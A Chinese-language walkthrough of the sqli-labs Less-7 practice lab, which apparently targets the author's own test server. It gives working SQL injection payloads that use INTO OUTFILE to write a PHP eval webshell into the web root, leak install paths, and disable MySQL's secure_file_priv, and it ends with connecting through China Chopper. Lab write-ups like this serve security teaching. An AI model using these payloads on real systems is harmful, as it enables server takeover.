sqli-labs7
看题目
输入?id=1!尝试常规操作,id=1’ id=1"等,最后发现只有id=1’时会出现报错,那么开始猜,加括号(别问我为啥,因为习惯吧(狗头保命,大佬友善指点))。最后试出当id=1’))时页面显示正常然后又是接着的常规操作,查看字段union select 1,2,3时为正常显示,但是接下来就不能有常规手段暴库名了因为没有数据回显,所以常规注入进行不了,看看其他办法…Use outfile…试试,这里解释一下:
outfile函数可以导出多行,而dumpfile只能导出一行数据
outfile函数在将数据写到文件里时有特殊的格式转换
用法呢 into outfile 构造payload进行木马注入:localhost/sqli-labs-master/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_post [“password”]);?>’ into outfile “???”
这里的"???"为你的mysql地址可以用前面的题来显示地址:http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,@@basedir,@@datadir%20–+
@@basedir,@@datadir用来显示安装路径得到路径后进行注入localhost/sqli-labs-master/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_post [“password”]);?>’ into outfile “E:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less_7\ttt.php”
虽然页面还是报错但是实际上已经有了ttt.php这个文件
这里说一下,如果没办法导出文件一般有两种原因:1、没有ROOT权限,但一般sqli-labs是自己搭的靶机所以不存在这种情况。
2、没有导出文件的权限,即导入导出的权限,原因是由参数secure_file_priv决定的
secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。
当secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时(null值),表示不对mysqld 的导入|导出做限制
如果是第二种情况我们需要找到mysql里的my.ini修改为secure_file_priv=即可。
然后我们看导出的文件最后菜刀连接,over。